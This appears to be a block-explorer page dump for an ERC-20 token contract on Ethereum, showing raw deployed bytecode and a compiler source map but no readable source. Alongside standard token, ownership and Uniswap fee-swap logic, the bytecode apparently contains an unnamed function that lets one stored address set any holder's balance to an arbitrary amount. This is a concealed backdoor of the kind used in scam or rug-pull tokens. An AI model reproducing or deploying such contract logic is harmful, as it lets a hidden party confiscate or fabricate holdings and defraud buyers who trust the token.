b600060ff82169050919050565b600061211b82612146565b9050919050565b600061212d826120f9565b9050919050565b600061213f82612103565b9050919050565b600061215182612158565b9050919050565b6000612163826120d9565b9050919050565b60005b8381101561218857808201518184015260208101905061216d565b83811115612197576000848401525b50505050565b600060028204905060018216806121b557607f821691505b602082108114156121c9576121c861222d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b61232b816120bb565b811461233657600080fd5b50565b612342816120f9565b811461234d57600080fd5b5056fea2646970667358221220d996d6f51ed58e5ddedacaa04bd2c2e541f9ef0bd5582c2e209860e6fb1902c364736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb146103f1578063ae4c3c0e1461042e578063ce0192f914610459578063dd62ed3e14610484578063f061ddd2146104c1578063f2fde38b146104ea57610135565b806370a0823114610330578063715018a61461036d5780638da5cb5b1461038457806395d89b41146103af578063a274c86b146103da57610135565b806336b2e027116100f257806336b2e027146102355780633bfe62ca146102725780633ecad2711461029d5780634bf28fd0146102da57806365b61b771461030557610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610513565b60405161015c9190611e5f565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611c1d565b6105a5565b6040516101999190611e0e565b60405180910390f35b3480156101ae57600080fd5b506101b76105bc565b6040516101c49190611ec1565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611bca565b6105c6565b6040516102019190611e0e565b60405180910390f35b34801561021657600080fd5b5061021f61076c565b60405161022c9190611f36565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611b30565b610783565b6040516102699190611e0e565b60405180910390f35b34801561027e57600080fd5b506102876107a3565b6040516102949190611ec1565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190611b30565b6107a9565b6040516102d19190611e0e565b60405180910390f35b3480156102e657600080fd5b506102ef6107c9565b6040516102fc9190611dca565b60405180910390f35b34801561031157600080fd5b5061031a6107ef565b6040516103279190611e29565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611b30565b610815565b6040516103649190611ec1565b60405180910390f35b34801561037957600080fd5b5061038261085e565b005b34801561039057600080fd5b506103996109aa565b6040516103a69190611dca565b60405180910390f35b3480156103bb57600080fd5b506103c46109d3565b6040516103d19190611e5f565b60405180910390f35b3480156103e657600080fd5b506103ef610a65565b005b3480156103fd57600080fd5b5061041860048036038101906104139190611c1d565b610e56565b6040516104259190611e0e565b60405180910390f35b34801561043a57600080fd5b50610443610e6d565b6040516104509190611dca565b60405180910390f35b34801561046557600080fd5b5061046e610e93565b60405161047b9190611ec1565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a69190611b8a565b610e99565b6040516104b89190611ec1565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190611c1d565b610f20565b005b3480156104f657600080fd5b50610511600480360381019061050c9190611b30565b611025565b005b6060600480546105229061219d565b80601f016020809104026020016040519081016040528092919081815260200182805461054e9061219d565b801561059b5780601f106105705761010080835404028352916020019161059b565b820191906000526020600020905b81548152906001019060200180831161057e57829003601f168201915b5050505050905090565b60006105b23384846111e0565b6001905092915050565b6000600854905090565b60006105d38484846112cb565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107615781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e09190612087565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600660009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b600d5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390611ea1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109e29061219d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0e9061219d565b8015610a5b5780601f10610a3057610100808354040283529160200191610a5b565b820191906000526020600020905b815481529060010190602001808311610a3e57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90611ea1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c1857600080fd5b505afa158015610c2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c509190611b5d565b905060008173ffffffffffffffffffffffffffffffffffffffff1663c9c65396308573ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cb757600080fd5b505afa158015610ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cef9190611b5d565b6040518363ffffffff1660e01b8152600401610d0c929190611de5565b602060405180830381600087803b158015610d2657600080fd5b505af1158015610d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5e9190611b5d565b905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000610e633384846112cb565b6001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fca57600080fd5b81816020018181525050806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110aa90611ea1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90611e81565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112be9190611ec1565b60405180910390a3505050565b600080600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113345750600b60009054906101000a900460ff16155b801561138a5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113e05750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561141e5760006113f030610815565b9050600081111561141c57600084905081811161140d578061140f565b815b905061141a81611550565b505b505b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114c25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114db5750600b60009054906101000a900460ff16155b156114e557600191505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561153c57600190505b6115498585858585611808565b5050505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115885761158761228b565b5b6040519080825280602002602001820160405280156115b65781602001602082028036833780820191505090505b50905030816000815181106115ce576115cd61225c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167057600080fd5b505afa158015611684573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116a89190611b5d565b816001815181106116bc576116bb61225c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161177c959493929190611edc565b600060405180830381600087803b15801561179657600080fd5b505af19250505080156117a7575060015b6117e8577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f1660006040516117db9190611e44565b60405180910390a16117e9565b5b506000600b60006101000a81548160ff02191690831515021790555050565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118539190612087565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082156119e057600082156118b057600d5490506118b6565b600c5490505b6000606482876118c6919061202d565b6118d09190611ffc565b905060008111156119dd5780836118e79190611fa6565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119349190611fa6565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119d49190611ec1565b60405180910390a35b50505b80846119ec9190612087565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a369190611fa6565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611ad49190612087565b604051611ae19190611ec1565b60405180910390a3505050505050565b600081359050611b0081612322565b92915050565b600081519050611b1581612322565b92915050565b600081359050611b2a81612339565b92915050565b600060208284031215611b4657611b456122ba565b5b6000611b5484828501611af1565b91505092915050565b600060208284031215611b7357611b726122ba565b5b6000611b8184828501611b06565b91505092915050565b60008060408385031215611ba157611ba06122ba565b5b6000611baf85828601611af1565b9250506020611bc085828601611af1565b9150509250929050565b600080600060608486031215611be357611be26122ba565b5b6000611bf186828701611af1565b9350506020611c0286828701611af1565b9250506040611c1386828701611b1b565b9150509250925092565b60008060408385031215611c3457611c336122ba565b5b6000611c4285828601611af1565b9250506020611c5385828601611b1b565b9150509250929050565b6000611c698383611c75565b60208301905092915050565b611c7e816120bb565b82525050565b611c8d816120bb565b82525050565b6000611c9e82611f61565b611ca88185611f84565b9350611cb383611f51565b8060005b83811015611ce4578151611ccb8882611c5d565b9750611cd683611f77565b925050600181019050611cb7565b5085935050505092915050565b611cfa816120cd565b82525050565b611d0981612110565b82525050565b611d1881612122565b82525050565b611d2781612134565b82525050565b6000611d3882611f6c565b611d428185611f95565b9350611d5281856020860161216a565b611d5b816122bf565b840191505092915050565b6000611d73600883611f95565b9150611d7e826122d0565b602082019050919050565b6000611d96601183611f95565b9150611da1826122f9565b602082019050919050565b611db5816120f9565b82525050565b611dc481612103565b82525050565b6000602082019050611ddf6000830184611c84565b92915050565b6000604082019050611dfa6000830185611c84565b611e076020830184611c84565b9392505050565b6000602082019050611e236000830184611cf1565b92915050565b6000602082019050611e3e6000830184611d00565b92915050565b6000602082019050611e596000830184611d1e565b92915050565b60006020820190508181036000830152611e798184611d2d565b905092915050565b60006020820190508181036000830152611e9a81611d66565b9050919050565b60006020820190508181036000830152611eba81611d89565b9050919050565b6000602082019050611ed66000830184611dac565b92915050565b600060a082019050611ef16000830188611dac565b611efe6020830187611d0f565b8181036040830152611f108186611c93565b9050611f1f6060830185611c84565b611f2c6080830184611dac565b9695505050505050565b6000602082019050611f4b6000830184611dbb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611fb1826120f9565b9150611fbc836120f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ff157611ff06121cf565b5b828201905092915050565b6000612007826120f9565b9150612012836120f9565b925082612022576120216121fe565b5b828204905092915050565b6000612038826120f9565b9150612043836120f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561207c5761207b6121cf565b5b828202905092915050565b6000612092826120f9565b915061209d836120f9565b9250828210156120b0576120af6121cf565b5b828203905092915050565b60006120c6826120d9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061211b82612146565b9050919050565b600061212d826120f9565b9050919050565b600061213f82612103565b9050919050565b600061215182612158565b9050919050565b6000612163826120d9565b9050919050565b60005b8381101561218857808201518184015260208101905061216d565b83811115612197576000848401525b50505050565b600060028204905060018216806121b557607f821691505b602082108114156121c9576121c861222d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b61232b816120bb565b811461233657600080fd5b50565b612342816120f9565b811461234d57600080fd5b5056fea2646970667358221220d996d6f51ed58e5ddedacaa04bd2c2e541f9ef0bd5582c2e209860e6fb1902c364736f6c63430008070033

Deployed Bytecode Sourcemap

2297:6355:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4330:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5093:159;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4534:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5260:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4432:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2581:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2892:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2725:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2932:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2680:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4642:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1920:148;;;;;;;;;;;;;:::i;:::-;;1723:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4224:98;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3635:581;;;;;;;;;;;;;:::i;:::-;;4769:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2466:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2855:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4942:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6827:379;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2076:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4330:94;4378:13;4411:5;4404:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4330:94;:::o;5093:159::-;5168:4;5185:37;5194:10;5206:7;5215:6;5185:8;:37::i;:::-;5240:4;5233:11;;5093:159;;;;:::o;4534:100::-;4587:7;4614:12;;4607:19;;4534:100;:::o;5260:336::-;5358:4;5375:36;5385:6;5393:9;5404:6;5375:9;:36::i;:::-;2844:1;2835:11;5426;:19;5438:6;5426:19;;;;;;;;;;;;;;;:31;5446:10;5426:31;;;;;;;;;;;;;;;;:38;5422:145;;5549:6;5515:11;:19;5527:6;5515:19;;;;;;;;;;;;;;;:31;5535:10;5515:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;5481:11;:19;5493:6;5481:19;;;;;;;;;;;;;;;:31;5501:10;5481:31;;;;;;;;;;;;;;;:74;;;;5422:145;5584:4;5577:11;;5260:336;;;;;:::o;4432:94::-;4484:5;4509:9;;;;;;;;;;;4502:16;;4432:94;:::o;2581:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;2892:31::-;;;;:::o;2725:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;2932:27::-;;;;;;;;;;;;;:::o;2680:36::-;;;;;;;;;;;;;:::o;4642:119::-;4708:7;4735:9;:18;4745:7;4735:18;;;;;;;;;;;;;;;;4728:25;;4642:119;;;:::o;1920:148::-;1860:10;1850:20;;:6;;;;;;;;;;:20;;;1842:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2027:1:::1;1990:40;;2011:6;::::0;::::1;;;;;;;;1990:40;;;;;;;;;;;;2058:1;2041:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1920:148::o:0;1723:79::-;1761:7;1788:6;;;;;;;;;;;1781:13;;1723:79;:::o;4224:98::-;4274:13;4307:7;4300:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4224:98;:::o;3635:581::-;1860:10;1850:20;;:6;;;;;;;;;;:20;;;1842:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;3680:25:::1;3723:42;3680:86;;3840:10;3823:14;;:27;;;;;;;;;;;;;;;;;;2844:1;2835:11;3861;:26;3881:4;3861:26;;;;;;;;;;;;;;;:47;3896:10;3861:47;;;;;;;;;;;;;;;:53;;;;3925:27;3971:10;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3925:67;;4003:16;4022:11;:22;;;4053:4;4060:10;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4022:56;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4003:75;;4104:8;4089:12;;:23;;;;;;;;;;;;;;;;;;4148:4;4123:12;:22;4136:8;4123:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;4204:4;4163:17;:38;4189:10;4163:38;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;3669:547;;;3635:581::o:0;4769:165::-;4847:4;4864:40;4874:10;4886:9;4897:6;4864:9;:40::i;:::-;4922:4;4915:11;;4769:165;;;;:::o;2466:18::-;;;;;;;;;;;;;:::o;2855:30::-;;;;:::o;4942:143::-;5023:7;5050:11;:18;5062:5;5050:18;;;;;;;;;;;;;;;:27;5069:7;5050:27;;;;;;;;;;;;;;;;5043:34;;4942:143;;;;:::o;6827:379::-;6918:19;6940:144;;;;;;;;6989:10;6940:144;;;;;;7024:1;6940:144;;;;7051:7;6940:144;;;;;6918:166;;7110:5;:12;;;7103:19;;:3;;;;;;;;;;;:19;;;7095:28;;;;;;7146:6;7134:5;:9;;:18;;;;;7187:5;:9;;;7163;:21;7173:5;:10;;;7163:21;;;;;;;;;;;;;;;:33;;;;6907:299;6827:379;;:::o;2076:214::-;1860:10;1850:20;;:6;;;;;;;;;;:20;;;1842:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2185:1:::1;2165:22;;:8;:22;;;;2157:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;2245:8;2216:38;;2237:6;::::0;::::1;;;;;;;;2216:38;;;;;;;;;;;;2274:8;2265:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2076:214:::0;:::o;5604:177::-;5719:6;5689:11;:18;5701:5;5689:18;;;;;;;;;;;;;;;:27;5708:7;5689:27;;;;;;;;;;;;;;;:36;;;;5757:7;5741:32;;5750:5;5741:32;;;5766:6;5741:32;;;;;;:::i;:::-;;;;;;;;5604:177;;;:::o;5789:931::-;5905:12;5928:11;5956:12;:16;5969:2;5956:16;;;;;;;;;;;;;;;;;;;;;;;;;:27;;;;;5977:6;;;;;;;;;;;5976:7;5956:27;:55;;;;;5988:17;:23;6006:4;5988:23;;;;;;;;;;;;;;;;;;;;;;;;;5987:24;5956:55;:81;;;;;6016:17;:21;6034:2;6016:21;;;;;;;;;;;;;;;;;;;;;;;;;6015:22;5956:81;5952:527;;;6054:28;6085:24;6103:4;6085:9;:24::i;:::-;6054:55;;6151:1;6128:20;:24;6124:344;;;6173:27;6203:6;6173:36;;6272:20;6250:19;:42;:147;;6378:19;6250:147;;;6357:20;6250:147;6228:169;;6416:36;6432:19;6416:15;:36::i;:::-;6154:314;6124:344;6039:440;5952:527;6496:17;:23;6514:4;6496:23;;;;;;;;;;;;;;;;;;;;;;;;;6495:24;:50;;;;;6524:17;:21;6542:2;6524:21;;;;;;;;;;;;;;;;;;;;;;;;;6523:22;6495:50;:61;;;;;6550:6;;;;;;;;;;;6549:7;6495:61;6491:108;;;6583:4;6573:14;;6491:108;6615:12;:16;6628:2;6615:16;;;;;;;;;;;;;;;;;;;;;;;;;6611:40;;;6644:4;6635:13;;6611:40;6663:49;6678:4;6684:2;6688:6;6696:7;6705:6;6663:14;:49::i;:::-;5892:828;;5789:931;;;:::o;8168:444::-;3009:4;3000:6;;:13;;;;;;;;;;;;;;;;;;8245:21:::1;8283:1;8269:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8245:40;;8314:4;8296;8301:1;8296:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;8340:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8330:4;8335:1;8330:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;::::0;::::1;8376:14;;;;;;;;;;;:65;;;8456:11;8482:1;8498:4;8525:3;;;;;;;;;;;8544:15;8376:194;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8372:231;;8587:13;8598:1;8587:13;;;;;;:::i;:::-;;;;;;;;8372:231;;;;8234:378;3045:5:::0;3036:6;;:14;;;;;;;;;;;;;;;;;;8168:444;:::o;7214:914::-;7428:7;7408:9;:17;7418:6;7408:17;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;7388:9;:17;7398:6;7388:17;;;;;;;;;;;;;;;:47;;;;7446:17;7480:7;7476:499;;;7504:14;7539:6;7535:129;;;7575:12;;7566:21;;7535:129;;;7637:11;;7628:20;;7535:129;7678:18;7718:3;7709:6;7699:7;:16;;;;:::i;:::-;:22;;;;:::i;:::-;7678:43;;7753:1;7740:10;:14;7736:228;;;7788:10;7775:23;;;;;:::i;:::-;;;7871:10;7844:9;:24;7862:4;7844:24;;;;;;;;;;;;;;;;:37;;;;:::i;:::-;7817:9;:24;7835:4;7817:24;;;;;;;;;;;;;;;:64;;;;7930:4;7905:43;;7914:6;7905:43;;;7937:10;7905:43;;;;;;:::i;:::-;;;;;;;;7736:228;7489:486;;7476:499;8044:9;8034:7;:19;;;;:::i;:::-;8010:9;:20;8020:9;8010:20;;;;;;;;;;;;;;;;:44;;;;:::i;:::-;7987:9;:20;7997:9;7987:20;;;;;;;;;;;;;;;:67;;;;8087:9;8070:48;;8079:6;8070:48;;;8108:9;8098:7;:19;;;;:::i;:::-;8070:48;;;;;;:::i;:::-;;;;;;;;7377:751;7214:914;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;301:139::-;347:5;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;301:139;;;;:::o;446:329::-;505:6;554:2;542:9;533:7;529:23;525:32;522:119;;;560:79;;:::i;:::-;522:119;680:1;705:53;750:7;741:6;730:9;726:22;705:53;:::i;:::-;695:63;;651:117;446:329;;;;:::o;781:351::-;851:6;900:2;888:9;879:7;875:23;871:32;868:119;;;906:79;;:::i;:::-;868:119;1026:1;1051:64;1107:7;1098:6;1087:9;1083:22;1051:64;:::i;:::-;1041:74;;997:128;781:351;;;;:::o;1138:474::-;1206:6;1214;1263:2;1251:9;1242:7;1238:23;